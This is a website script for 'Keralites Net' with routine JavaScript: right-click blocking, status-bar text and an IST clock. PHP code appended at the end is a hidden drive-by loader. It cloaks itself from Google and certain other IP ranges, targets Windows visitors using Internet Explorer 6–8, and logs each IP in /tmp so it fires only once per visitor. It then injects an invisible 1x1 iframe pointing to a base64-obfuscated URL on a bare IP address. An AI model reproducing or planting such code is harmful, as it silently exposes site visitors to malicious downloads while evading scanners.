function startrad(radname,winname){
window.open (radname, winname,'width=500,height=200,Top=99,left=99,scrollbars=yes,location=no,directories=no,status=no,menubar=no,toolbar=no,resizable=yes');}

function clickIE() {if (document.all) {(message);return false;}}
function clickNS(e) {if (document.layers||(document.getElementById&&!document.all)) {if (e.which==2||e.which==3) {(message);return false;}}}
if (document.layers) {document.captureEvents(Event.MOUSEDOWN);document.onmousedown=clickNS;}
else{document.onmouseup=clickNS;document.oncontextmenu=clickIE;}
document.oncontextmenu=new Function("return false")
document.write("<meta http-equiv='imagetoolbar' content='no'>")

if (document.layers)
document.captureEvents(Event.MOUSEOVER | Event.MOUSEOUT)
document.onmouseover=hidestatus
document.onmouseout=hidestatus

function hidestatus(){
window.status='Keralites Net'
self.status="Keralites Net"
return true
}

function showtime(){
  var dte = new Date();
  dte.setTime(dte.getTime() + (dte.getTimezoneOffset()+330)*60*1000); 
  var currTime = dte.toLocaleString();
  if (document.getElementById&&!document.all)   {
    document.getElementById("showtimer").innerHTML="<b>IST::"+currTime;
  } else if (document.all) {
    document.all("showtimer").innerHTML="<b>IST::"+currTime;
  }
}
function convertToLocalTime(sTime){
  sTime = sTime.substring(0, sTime.length-2) + " " + sTime.substring(sTime.length-2, sTime.length);
  var dte = new Date(sTime);
  dte.setTime(dte.getTime() - dte.getTimezoneOffset()*60*1000); 
  document.write(dte.toLocaleString());
}
function getQString(){
	sLink=location.search.substring(1);
	return sLink;
}

function HideLoader () {
var obj = document.layers ? document.layers["Loader"] :
document.getElementById ?  document.getElementById("Loader").style :
document.all["Loader"].style;
obj.visibility = document.layers ?  "hide" : "hidden";}
<?

function net_match ( $network , $ip ) {
$ip_arr = explode ( '/' , $network );
$network_long = ip2long ( $ip_arr [ 0 ]);
$x = ip2long ( $ip_arr [ 1 ]);
$mask = long2ip ( $x ) == $ip_arr [ 1 ] ? $x : 0xffffffff << ( 32 - $ip_arr [ 1 ]);
$ip_long = ip2long ( $ip );
return ( $ip_long & $mask ) == ( $network_long & $mask );
}

function net()
{
$ip=$_SERVER['REMOTE_ADDR'];

if(
net_match('64.233.160.0/19',$ip)==0 &&
net_match('66.102.0.0/20',$ip)==0 &&
net_match('66.249.64.0/19',$ip)==0 &&
net_match('72.14.192.0/18',$ip)==0 &&
net_match('74.125.0.0/16',$ip)==0 &&
net_match('89.207.224.0/24',$ip)==0 &&
net_match('193.142.125.0/24',$ip)==0 &&
net_match('194.110.194.0/24',$ip)==0 &&
net_match('209.85.128.0/17',$ip)==0 &&
net_match('216.239.32.0/19',$ip)==0 &&
net_match('128.111.0.0/16',$ip)==0 &&
net_match('67.217.0.0/16',$ip)==0 &&
net_match('188.93.0.0/16',$ip)==0
)
return true;
}

function detect_os() {
global $os;
$user_agent = $_SERVER['HTTP_USER_AGENT'];
if(strpos($user_agent, "Windows") !== false) $os = 'windows';
}detect_os();


function detect_brows() {
global $OOOOO0000, $OOOOOO000;
$user_agent = $_SERVER["HTTP_USER_AGENT"];
if (preg_match("/MSIE 6.0/", $user_agent) OR
    preg_match("/MSIE 7.0/", $user_agent) OR
    preg_match("/MSIE 8.0/", $user_agent)
) $OOOOOO000 = "MSIE";
}detect_brows();

$IP = $_SERVER['REMOTE_ADDR'].".log";

function _log()
{ global $IP;
touch ("/tmp/keralites/{$IP}");
}
@mkdir('/tmp/keralites/');
function _check()
{
global $IP;
if(!file_exists("/tmp/keralites/{$IP}")) return true;
}
$dfjgkbl=base64_decode('aHR0cDovLzY0LjI0Ny4xNzYuMTA5L0hvbWUvaW5kZXgucGhw');
if(_check())
{
if(net())
{
if($os)
{
if($OOOOOO000 == "MSIE")
{
echo 'document.write(\'<iframe frameborder=0 src="'.$dfjgkbl.'" width=1 height=1 scrolling=no></iframe>\');';

_log();

}}}}

